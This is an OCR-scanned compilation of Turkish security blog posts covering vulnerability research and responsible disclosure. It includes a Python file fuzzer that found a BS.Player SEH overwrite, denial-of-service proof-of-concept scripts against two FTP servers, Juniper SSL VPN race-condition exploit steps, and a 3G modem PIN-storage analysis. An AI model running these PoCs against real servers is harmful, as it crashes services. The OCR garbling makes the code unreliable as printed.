Internet Explorer 6/7/8
DOS Vulnerability
(Shockwave Flash Object)

written by Mert SARICA | 19 January 2010

File fuzzing ile minik bir kesif yaptam.

1360. byte 44 ve sonraki 3 byte sirasiyla 43 42 41 olursa internet explorer
goclyor, sorunun ana kaynagina bakildiginda ise Adobe shockwave addonu
(Flashl0d.ocx) oldugu anlasiliyor..

POC icin buraya tiklayabilirsiniz.
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Fuzzzzing

written by Mert SARICA | 19 January 2010

Bu seferki yazimi yazmak icin biraz gec¢ kaldim, gec olsun ama guc¢ olmasin
diyerek hemen konuya giriyorum.

Guvenlik e-posta listelerine lUye iseniz her gin onlarca yeni guvenlik
zaafiyetlerinin kesfedildigini g6rebilirsiniz. Bunlarin nasil kesfedildigini
biraz arastiracak olursak genellikle kaynak kodu acik olmayan uygulamalardaki
glivenlik zaafiyetlerinin c¢ogunun fuzzing ile kesfedildigini gOrebiliriz.
Fuzzingi bastan sona anlatmaya kalkacak olursam kitap yazmam gerekir o
nedenle kisaca 6zetleyip O6rnek bir fuzzer ve givenlik a¢iginin kesfedilmesi
ile ilgili bir video ile yazimi tamamlayacagim.

Fuzzing'e kabaca hedef uygulamada hataya sebebiyet vermek amaciyla lretilen
ve hedefe gonderilen veri diyebiliriz. Fuzzerlar generation ve mutation
olarak ikiye ayrilmaktadir. Generation fuzzerlari elimizde 6rnek bir veri
olmadan olusturdugumuz ve hedefe génderdigimiz, mutation fuzzerlari ile
generation fuzzerlarin aksine 6rnek bir veriden (6rnek bir xls dosyasi veya
bmp dosyasi) tlretilen ve hedefe gonderilen veriler olarak dislnebiliriz.
Generation fuzzerlara ornek vermek gerekirse bir http sunucusu disunelim ve
port 80'den sunucuya baglanarak farkli boyutlarda ve karakter setinden
rastgele olusturulan ve hedefe gonderilen veriler olarak disunebiliriz. Tabii
hedef http sunucusu GET/POST vb. benzer komutlar bekledigi igin parserindan
gecmeyerek paketler direk cope gidecektir.

Mutation fuzzerlar ise rastgele olusturulmus bir paket yerine capture edilmis
bir paketten olustugu ic¢in (6rnegin GET /AAAAA.. HTTP/1.1 ) hedef sistem
uzerinde soruna yol acma ihtimali generation fuzzerlara gOre daha yuksektir.
Fuzzerlar ile kesfedilebilecek glvenlik zaafiyetlerinin basinda buffer
overflow, integer overflow, format string zaafiyetleri gelmektedir.

Fuzzing yapabilmek ic¢in haliylen ya veri uUreten ve gonderen kendi fuzzerinizi
yazacaksiniz ya da hali hazirda yazilmis fuzzerlardan faydalanacaksiniz. Ufak
bir arastirma yaptiginizda hedef programa uygun fuzzerlar bulmak mumkdin,
ornegin dosya formatini isleyen programlari test edecekseniz filefuzz, ag
uygulamasi test edecekseniz smudge, framework Uzerinde kendi fuzzerinizi
gelistirecekseniz sulley, peach vb. programlardan faydalanabilirsiniz.

Sadede gelecek olursam, gectigimiz Pazar sabahi bloga ne yazsam ne yazsam
diye hindi gibi disunlirken bir fuzzer kodlasam bir de bu fuzzer ile


https://www.mertsarica.com/fuzzzzing/

kesfedilmis Oday guvenlik zaafiyeti yayinlasam tadindan yenmez dedim ve
download.com sitesinde hedef program aramaya koyuldum. Sitede biraz gezdikten
sonra mediaplayer kategorisinde yer alan, CNET editdrleri tarafindan 5 yildiz
almis ve 1,275,469 defa indirilmis BS.Player uygulamasina g6z atmaya karar
verdim. Programi yukledikten sonra bu program ile iliskili dosya uzantilarini
bulmam gerekiyordu bu nedenle hemen Windows XP’de Windows Explorer’da, Tools
-> Folder Options -> File Types listesinde yer alan uzantilara baktim ve .bsi
uzantisi ilk goézume carpani oldu. Program ile gelen drnek BSI uzantili bir
dosya olmadigi icin google ulzerinde yaptigim arastirmada bu sayfadaki yazi
dikkatimi c¢ekti. Mutation fuzzer ic¢in 6rnek BSI dosyasini bulmustum ve sira

fuzzer yazmaya gelmisti.

Oturup sip sak python ile kod yazmaya alismis biri olarak hemen oturdum ama
bu sefer hemen kalkamadim. Aksam saatlerine kadar hem kod yazdim hemde
programda hata ortaya c¢iktiginda monitor edebilmek icin arastirmalar yaptam
ve sonunda fuzzing yapabilmek i¢in asagidaki programi hazirladim. Monitor
edebilmek ic¢inse Sehloger adinda bir program buldum.

import os
import re
import time

import sys

if sys.platform == 'linux' or sys.platform == 'linux2':
clearing = 'clear’

else:
clearing = 'cls'

os.system(clearing)

print "| Simple Fuzzer | Mert SARICA | http://www.mertsarica.com |"

prlnt " = =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-="
target process = ' "C:\\Program Files\\Webteh\\BSplayer\\bsplayer.exe"'
# target process = ' "bsplayer.exe"'

"test.bsi"

"Sehloger.exe"

target file

seh handler
sleeptime =1


http://forum.bsplayer.com/bug-reports-codecs/4470-problem-display-subtitle-using-bsi-file-new-build.html
http://www.woodmann.net/collaborative/tools/index.php/SEHLoger

logger = "SEHLog.txt"

debugger = seh handler + target process

variables = ["Version", "Title", "FName", "Subl", "Font", "SubPos",
"FullScreen", "Skin", "Lang", "Aspect", "RunHD", "ExitAtEnd"]

for i in range(0@, len(variables)-1):
rel= "(" + variables[i] + ")"

re2="(=)" # Any Single Character 1
re3="((?:5+))" # Rest

readfile = open(target file, "r")

tempfile = target file.split(".")

tempfile[0] + str(i) “." + tempfile[1l]

tempfile

print "\nTesting:", variables[i] + "\n"

txt = readfile.read()
readfile.close()

rg = re.compile(rel+re2+re3, re.IGNORECASE|re.DOTALL)

m = rg.search(txt)

if m:
wordl=m.group(1)
cl=m.group(2)
word2=m.group(3)
entry = wordl+cl+word?2

for m in range(1,10):
os.system(debugger)
time.sleep(sleeptime)

writefile = open(tempfile, "w")
bof = wordl+cl+(("A"*128)*m)

text = txt.replace(entry, bof)
writefile.write(text)



writefile.close()

bof check = target process + " " + tempfile
os.system(bof check)

time.sleep(sleeptime)

logfile = open(logger, "r")
log = logfile.read()

if log.find("41414141") > 0:
print "\nGray area detected, responsible disclosure or dark
side padawan? :)\a\n"
print "Suspucious file:", (tempfile)
sys.exit()

os.system("taskkill.exe /IM bsplayer.exe")
time.sleep(sleeptime)

Yukaridaki python kodu 6rnek BSI dosyasi icerisinde yer alan tanimlamalari
aliyor ve her deger yerine 128 ve kati sayida A koyuyor, dosyayi kayit ediyor
ve programi exception handler olarak tasarlanmis olan Sehloger programi ile
calistiriyor. Sehloger programi ise programda herhangi bir hata olmasi
durumunda o anki register degerlerini log olarak yaziyor, daha sonra yazdigim
program ise bu log dosyasi icerisinde 0x41414141 bulur ise mutlu sona
ulastigini haber veriyor.

Boyle kuru kuru anlatmakla yetinmeyerek, fuzzerin nasil calaistigini ve fuzzer
ile nasil 0 day SEH overwrite guvenlik zaafiyeti kesfettigimi iceren ufak bir
video hazirladaim.

Fuzzer programina buradan, SEH overwrite guvenlik zaafiyetini tetikleyen koda
ise buradan ulasabilirsiniz.

SEH overwrite glivenlik zaafiyetine ait ekran goruntisi ise asagidadir.


http://www.mertsarica.com/codes/fuzzer.zip
http://www.mertsarica.com/codes/bsplayer_seh_overwrite.py
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3G USB
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Yine canimin sikildigi bir glnde bir arkadasim 3G USB modeminden
bahsediyordu, birden ilgimi cekti, daha 6nce inceleme firsatida bulamamistim.
Kendisi bana kisa bir demo yaparak 3G USB modem ile gelen ve Huawei
tarafindan gelistirilen mobil uygulamanin (Not: Turkiye’deki GSM operatorleri
tarafindan 3G USB modem ile dagitilan mobil uygulamalarin gelistiricisi
Huawei’dir) nasil kullanildigini kisaca gdsterdi. Ilk dikkatimi ceken bu
programda Save Pin 6zelliginin olmasiydi (kisaca Internet Explorer’in
remember me 6zelligi gibi dusinebilirsiniz.) cinki bu 6zelligin olmasi

PIN'in, diskte bir yerlerde saklanmasi anlamina geliyordu.


https://www.mertsarica.com/3g-usb-modemler/
http://www.huawei.com/

PIN kodunu girin

Litfen PIM kodunuzu giriniz:

PIM kodunu kaydet

[ Tarmarm l [ Iptal ][ Yardirm ]

Bunun disinda bu mobil uygulamanin 3G USB modem ile nasil haberlestigi
merakimi cezbetmisti, uygulama ile modem arasindaki haberlesmede PIN acik m1i
gidiyordu yoksa sifreli mi gidiyordu (sifreli olarak gitmesi ve smartcard
Uzerinde decrypt edilmesi teknik olarak mimkdn md bilmiyorum) bu konuda merak
konusu olmustu. Bunlar disinda 3G USB modem ile kisa mesaj almak ve
gondermekte mimkin oluyordu. SMS alip verme hadisesi hemen aklima yakin
zamanda Turkiye'’deki tum bankalarda hayata gececek olan tek kullanimlik sifre

uygulamasini getirdi.

Bilindigi lUzere 1 Ocak 2010 tarihinden itibaren tim bankalar ig¢in tek
kullanimlik sifre uygulamasi zorunlu hale geliyor. Bu yeni uygulama ile
misteriler, internet bankaciligina girmek ic¢in ilgili banka tarafindan
kendisine kisa mesaj araciligiyla gonderilen tek kullanimlik sifreyi
kullanacaklar. Bunun ic¢in misterinin banka kayitlarinda guncel cep telefonu

numarasinin bulunmasi sart.

Peki ya gincel degilse ? Bu durumda misteri cep telefonu numarasini
guncellemek icin ilgili bankanin hizmet merkezini arayarak cep telefonu
numarasinl guncelleyecek. Buraya kadar hersey normal ancak aklima sOyle bir
soru takildi. Ya geek bir musteri hazirda 3G USB modemi varken ve mobil
uygulama ile SMS alabiliyorken misteri hizmetlerine cep telefonu numarasi
yerine 3G USB modeminde kullandigi numarasini verirse ne olacak ? Bu durumda
hem internet bankaciligina girmek ve hem de finansal islemler
gerceklestirebilmek icin kullanacagi tek kullanimlik sifre bilgisayarina
ulasacak ve kolayca bu sifreye ulasabilecek ve kullanabilecek. Peki ya
glivenlik ?

Iste bu soruya yanit ararken kendi kendime bir senaryo lrettim. Bir trojan
disindim. Malum internet bankaciliginda kritik islemler oncesinde (6rnek para
transferi) tek kullanimlik sifreler ile misteriler dogrulaniyor. Peki ya bu
tek kullanimlik sifre 3G USB modeme geliyorsa ? Bu durumda trojan


http://www.seslisozluk.com/?word=geek&ssQBy=0

kullanicinin haberi olmadan internet tarayicisina c¢engel atarak para
transferi islemi esnasinda istenilen tek kullanimlik sifreyi 3G mobil
uygulamasindan alabilir ve kendi kendine finansal islem gerceklestirebilir

miydi ? Muhtemelen evet..

Ornekleri ile daha 6ncede karsilastigimiz lzere artik yeni nesil malwareler
internet tarayicilarina cengel atarak GET/POST edilen verileri kayit altina
aliyorlar. 3G USB modemlerin yayginlasmasi ve insanlarin kullandiklari
hatlari tek kullanimlik sifre icinde kullanmalari durumunda artik art niyetli

kisilerin isleri daha da kolaylasacak gibi goérdntyor..

Bu yaziyi yazmamdaki asil amac¢ bu konuya dikkat cekmek ve insanlarin tek
kullanimlik sifre icin cep telefonlarini kullanmaya devam etmelerini
onermekti ancak diger bir yandan merak ettigim konularada yanit aramaya karar
verdim.

Bir trojan daha disundim, bir sekilde musterinin bilgisayarinda 3G USB
modemin takilmasini beklesin ve daha sonrasinda bu programi kullanarak usb
modeme komutlar gonderebilsin. Peki ya neye yarayacakti bu ? DDOS
saldirilarinin bir parcasi olan zombie bilgisayarlar gibi sms flood yapmaya
yarayan veya sms spam yapmaya yarayan zombie bilgisayarlar art niyetli
insanlarin yeni hedefi olabilirdi. Peki trojanin bu komutlari gdnderebilmek
icin neye ihtiyaci vardi ? Tabiiki oncelikle dogru PIN’e cinkli mobil uygulama
ilk acildiginda sayet save pin opsiyonu isaretlenmemisse kullanicidan PIN’i
girmesi isteniyor ancak save pin opsiyonu isaretlenmis ise arka plandan PIN
sifrelenmis xml dosyasindan alinarak decrypt ediliyor ve modeme godnderiliyor.
Bu durumda save pin opsiyonu isaretlenmis olan bir 3G USB modemin bilgisayara
bagli olmasi ve sadece flash disk niyetine kullanilmasi bile trojanin PIN’e
ihtiyac¢ duyulan tim islemleri gerceklestirebilmesine olanak saglayabilir.
Tabii bunun icin oncelikle diskte sifreli olarak saklanan PIN’'i kirmasi
gerekiyor.

Buradan yola cikarak PIN’in disk (izerinde nerede tutuldugunu aramaya koyuldum
ve biraz arastirdiktan sonra X/UserData/XProfile.XML dosyasi icerisinde yer

aldigini gordim. (Not: X, mobil uygulama adina gore degismektedir.)

< pincode >

1;0;0,0,208;140;157,;223;1,21,;209;17,140;122,0,;192,79,;194,;151,235;1,0;0,0;75;2
36;167;138;29;20;126;72;166;229;217;67;144;181;101;205;0;0;0;0;2;0;0;0;0;0;3;
102;0;0;168;0;0;0;16;0;0;0;159;6;226;122;118;34;146;2;20;94;126;13;171;109;15



5;236;0;0;0;0;4;128;0;0;160;0;0;0;16;0;0;0;189;145;112;124;237;243;6;115;112;
181;100;88;190;90;140;230;8;0;0;0;71;3;36;203;24;100;21;124;20;0;0;0;110;48;8
3;175;194;210;168;227;60;56;209;195;77;188;189;65;216;20;158;150;

< /pincode >

Goruldugu uzere PIN, xml dosyasinda sifreli olarak tutuluyordu. Sira
kullanilan sifrelemenin ne kadar basarili oldugunu anlamaya gelmisti. Bunun
icin 3G mobil uygulamasini incelemeye basladim ve kisa bir sire icgerisinde C#
programlama dili ile yazilmis oldugunu gordim. Konu C# olunca kaynak koduna
ulasmak ne kadar zor olabilirdi :) Classlari 1 saat inceledikten sonra
sonunda PIN’'in Data Protection API ile sifrelendigini anlamam ve python ile
sifre ¢Ozucu programi hazirlamam yaklasik 1 saat surdu. Bu sayede Save PIN
opsiyonunun PIN’inin givenligine onem verenler ic¢in kullanilmadan 6nce bir

daha dislnilmesi gerektigini sdyleyebilecek noktaya geldim.

s C:\WINDOWS\system32\cmd.exe - BER
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=gl v

b 5 (5

= =
=

"
¥
: |
=
=
=

Mobil uygulama ile 3G usb modem arasindaki haberlesmeyi ise usb port monitdr
programi ile izlemeye basladigimda PIN’in dogrulama esnasinda acik halde

modeme gittigini gordum.

110 0.00039726 X.e IRP MJ WRITE QCUSB COM9 2 SUCCESS Length 15:
AT+CPIN="7**Q"
111 0.00001117 X.e IOCTL SERIAL GET WAIT MASK QCUSB COM9 2 SUCCESS

Normalde Kobil mIdentity gibi USB akilli kart okuyuculardaki dogrulamalarda,
sifreler bu sekilde acik mi gidiyor bilmiyorum, pekte sanmiyorum ancak eger
acik gitmiyor ve teknik olarak mumkin ise ise mobil uygulamalar ve 3G USB

modemler arasindaki iletisiminde sifreli olmasi glvenligi arttirabilir.


http://en.wikipedia.org/wiki/Data_Protection_API
http://www.kobil.com/index.php?id=49&type=0&L=2

Sonu¢ olarak 3G USB mobil uygulamalardaki save pin opsiyonunun internet
tarayicilarindaki remember me opsiyonunda oldugu gibi riskli oldugunu, bunun
disinda 1 Ocak tarihinden itibaren internet bankaciliginda kullanilacak olan
tek kullanimlik sifrenin 3G USB modem ile kullanilmasi durumunda trojanlarin
hedefi olabilecegini ve son olarak 3G mobil uygulama ile 3G USB modem
arasindaki haberlesmede PIN'in acik olarak transfer edildigini (iyilestirmeye
acik olabilir) sizlerle paylasmak istedim. GSM operatorlerinde calisan
arkadaslar dilerlerse konu ile ilgili yorum yaparak varsa eksik ve hatali
kisimlari dizelterek beni ve herkesi aydinlatabilirler..

Core FTP Server 1.0 Build
319 Denial of Service
Vulnerability

written by Mert SARICA | 19 January 2010
Sorunun kaynagina kabaca bakacak olursak ftp sunucusuna USER komutu

gonderildikten hemen sonra baglanti kesilirse, CPU %100'e ylkselmekte ve
servis kapatilana dek bu seviyede calismaya devam etmektedir. Bu zafiyeti
istismar edebilmek ic¢in ftp sunucusu lUzerinde gecerli bir hesabinizin

olmasina gerek yoktur.

Not: Buil 321 ile sorun ortadan kalkmistir.

Ok sorry about the delay, here’s the build that should fix it..
http://www.coreftp.com/test/Server.exe (build 321)

Core FTP Support

Download: Core FTP Server 1.0 Build 319

POC Code:


https://www.mertsarica.com/core-ftp-server-1-0-build-319-denial-of-service-vulnerability/
https://www.mertsarica.com/core-ftp-server-1-0-build-319-denial-of-service-vulnerability/
https://www.mertsarica.com/core-ftp-server-1-0-build-319-denial-of-service-vulnerability/
http://www.coreftp.com/server/download/
http://www.mertsarica.com/codes/core_dos.py

# Core FTP Server 1.0 Build 319

# Denial of Service Vulnerability

# Note: FTP account is not required for exploitation
# http://www.mertsarica.com

import socket, sys

HOST ‘localhost’
PORT = 21
s = socket.socket(socket.AF INET, socket.SOCK STREAM)

try:

s.connect((HOST, PORT))
except:

print "Connection error"
sys.exit(1)

try:

s.send('USER MS\r\n') # magic packet

s.close()

print("Very good, young padawan, but you still have much to learn...")
except:

print "Connection error"
sys.exit(1)

POC Screen Shot:
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"Connection error™

E Processes: 31 CPU Usage: 100%: Commit Charge: 206M [ 1250M

C:~Documents and Settings“Administrator:Desktoprcore_dos.py
Uery good padawan...

C:~Documents and Settings“AdministratorDesktop>

XM Easy Professional FTP
Server 5.8.0 Denial Of
Service Vulnerability

written by Mert SARICA | 19 January 2010

Zafiyetten kisaca bahsetmek gerekirse ftp sunucusuna basariyla giris
yapildiktan sonra “HELP AAA.. (4074 tane)” komutunun gonderilmesi sonucunda
ftp sunucusu cOkmektedir. Bu zafiyeti istismar edebilmek ic¢in ftp sunucusu

Uzerinde gecerli bir hesabinizin olmasi gerekmektedir.
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Not: Bu slirimde baska glivenlik aciklarininda olmasina ragmen Ekim ayindan bu
yana dek slirimde herhangi bir degisikligin olmamasi nedeniyle Uretici
firmanin aksiyon alma silresinin gec¢ oldugunu g6z oninde bulundurarak yanit
beklemeden yayinlamayi tercih ettim.

Download: XM Easy Professional FTP Server 5.8.0

POC Code:

# XM Easy Professional FTP Server 5.8.0

# Denial of Service Vulnerability

# Note: FTP account is required for exploitation
# http://www.mertsarica.com

from ftplib import *
import sys
import ftplib

try:

ftp = FTP('localhost') # connect to host, default port
except:

print "Connection error"

sys.exit(1)

try:

ftp.login() # user anonymous, passwd anonymous@
except:

print "Login failed"

sys.exit(1)

packet = "HELP " + "MS" * 2037 # magic packet

try:

ftp.sendcmd(packet)

ftp.quit()

except ftplib.all errors, error:

print("Very good, young padawan, but you still have much to learn...")

POC Screen Shot:


http://www.dxm2008.com/data/ftpserversetup.exe
http://www.mertsarica.com/codes/xm_dos.py

7% HEIE

# EZM Easv Frofessional FTP 3Server 5.8.0 J
# Denial of Service Vulnerability
# http://www.mertsarica.com

=v=s
ftplib ftpzerver.exe has encountered a problem and needs to D=
close. We are sony for the inconvenience. =

ftp = FTP('localhost') # If you were in the middle of something, the infarmation you were waorking on

might be logt,
"Connection error™

! For more information about this ermor, click here.
sys.exit (1) -

Debug
# usze Q

packet = "HELF "™ + "M3I™ * Z037 # magic packet

ftp.logini)

ftp.sendoemd (packet)
frp.gquic ()
ftplib.all errors, errokr:
["Wery good padawvan...™)

C:»Documents and Settings“Administrator~Desktoprxm_dos.py

Lr: 8|Col: O

Denial-of-Service
Zafiyetleri..

written by Mert SARICA | 19 January 2010
Herkese iyi bayramlar,

Bayramin ilk guninde, yani merasimlerin en yogun oldugu glinde, katilmam
gereken bir merasim oncesinde vakit oldurmek amaciyla windows Uzerine
rastgele bulup kurdugum cok popiler olmayan iki ftp sunucusu lUzerinde stack
overflow guvenlik zafiyeti ararken denial-of-service zaafiyetleri ile
karsilastim. Acikcasi zafiyetlerin detayini inceleyecek pek fazla vaktim
olmadi, hizlica iki istismar programi hazirladim, ekran goruntulerini ve
detaylari Uretici firmalar ile paylastim, yanitlar geldikten sonra sizlerle
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de detaylari paylasacagim..

Juniper SSL VPN dsjvd.ini
Overwrite (TOC/TOU)
Vulnerability

written by Mert SARICA | 19 January 2010

15 Ocak 2009 tarihinde gerceklestirdigim penetrasyon testinde Juniper SSL VPN
cihazinda kesfettigim bir glvenlik zafiyetinin detaylarina girmeden ufak bir
bolimind 16 Temmuz 2009 tarihinde netsec grubunda paylasmistim, Uretici
tarafindan dizeltildigi icin artik Juniper SIRT ile yaptigaim bir kag
yazismayl ve zafiyetin icerigini sizlerle paylasabilirim.

From: Payum Moussavi
Sent: Thursday, July 16, 2009 6:48 PM
Subject: RE: Juniper SSL VPN dsjvd.ini Overwrite (TOC/TOU) Vulnerability..

Hello Mert,
This issue is fixed in the following releases:

6.4R2 and Higher — Released

6.3R5 — Released

6.2R6 — Released

6.1R8 — Sept/09 — no date confirmed.

Download URL for IVE software:
http://www.juniper.net/techpubs/software/ive/

OQur Advisory will be coming out at the end of Sept early October.

Regards,
Payum Moussavi
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Kimden: Payum Moussavi

Gonderilmis: Per 19.02.2009 20:27

Konu: RE: Juniper SSL VPN dsjvd.ini Overwrite (TOC/TOU) Vulnerability..
Hello Mert,

Our risk assessment for this issue is “Low”. In order to exploit this
vulnerability you would need physical access or remote access
(exploiting another vulnerability) to the machine.

As stated, we will fix this issue in Q3/09.

Regards,
Payum Moussavi

SLT Escalation Team, Manager

Juniper Technical Assistance Center (JTAC)
Service Layer Technology (SLT) Group
Juniper Networks, Inc.

—~O0riginal Message—

From: MERT SARICA

Sent: Monday, January 26, 2009 5:32 AM

Subject: RE: Juniper SSL VPN dsjvd.ini Overwrite (TOC/TOU)
Vulnerability..

First of all consider that our default policy (dsjvd.ini) has a
configuration line as
AllowedApps=iexplore.exe”firefox.exe™mstsc.exe”dshostchecker.exe”dsCache
Cleaner.exe”dsNCService.exe”dsNetworkConnect.exe”dsAccessService.exe”get
flash.dll™msi.dl1"telnet.exe

Attack steps:

1- T set a custom dsjvd.ini with AllowedApps=* and put it into
C:\Documents and Settings\Administrator\Application Data\Juniper
Networks\Host Checker\policy 1\ folder.

2- I opened up C:\Documents and Settings\Administrator\Application
Data\Juniper Networks\Host Checker\policy 1\dsjvd.ini and put it into



background, made it ready for save attempt in the 4th step.

2- I fired up the web browser and called https://****/Profile

3- Web server redirected me to

https://***/dana-na/auth/url 9/welcome.cgi

4- While it was loading the components and secure workspace, I brought
previously opened dsjvd.ini to the front and tried a save attempt
frequently like 20 save attempts in 5 seconds.

5- As a result, TOC/TOU vulnerability occured, my custom policy loaded
into the workspace and I was able to run any process like nmap in the
screenshot sample as I sent to you before.

I hope steps are clear enough.

X Finans Kurulusu —
Animated Captcha (GIF)

written by Mert SARICA | 19 January 2010

Yaklasik bir haftadir “nasil bir captcha kullanmali, captchakiller sitesi de
parali oldu, acaba ¢6zilmesi zor bir captcha yaptigimdan nasil emin
olabilirim” sorusuna cevap aradigim su giinlerde sans eseri yerel bir finans
kurulusunun kritik uygulamasinin giris sayfasinda kullandigi ve muhtemelen
kendilerinin tasarlamis oldugu animated captcha (GIF) ile karsilastaim.
Animated olmasi nedeniyle ilk basta OCR’'a karsi basarili olabilecegini
distindim ancak uUzerinde biraz daha duslindikten sonra teoride teknik
sebeplerden otiri pekte basarili olamayacagina kanaat getirdim ve pratikte
buna yanit aramanin hem kendi adima hem de Tiurkiye’de oldukca fazla sayida
misterisi olan bu finans kurulusu ve misterileri adina faydali olacagini
karar verdim ve ufak bir program hazirlamaya basladim. Acik kaynak kodlu
kitiphanelerden de faydalanarak yaklasik 2 saatte tamamladigim bu program,

animated captchayi %80 basariyla coézebiliyor.

bir—geri—donds—elmadr—olur—da—geridonis—elursa—ve—captchalarinda bir
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iyilestirmeye yaparlarsa ve responsible disclosure konusunda anlayisli
olurlarsa hazirladigim programin icerigini ve POC videosunu sizlerle
paylasabileceginm..

Guncelleme: Bugln itibariyle kendileriyle iletisim kurabildim, programi ve
POC videoyu paylastim, hizli geri donusleri ve yaklasimlari icin kendilerine
tesekkiur ediyorum.

Date: Fri, Nov 20, 2009 at 10:03 AM

Merhaba,

Sayfamizda kullanilan captcha lzerine bir calisma yaptiginizi 6grendik.

Bu konu lzerinde arastirmalarimizi yapiyoruz. Size birkac¢ soru sormak isteriz

GCalismanizi yaparken hangi OCR kutuphanelerini kullandiniz?
Herhangi bir sakincasi yoksa yazdiginiz programinizi bizimle paylasabilir

misiniz?
Hassasiyetiniz ve bilgilendirmeniz ic¢in tesekkir ederiz.

Iyi calismalar



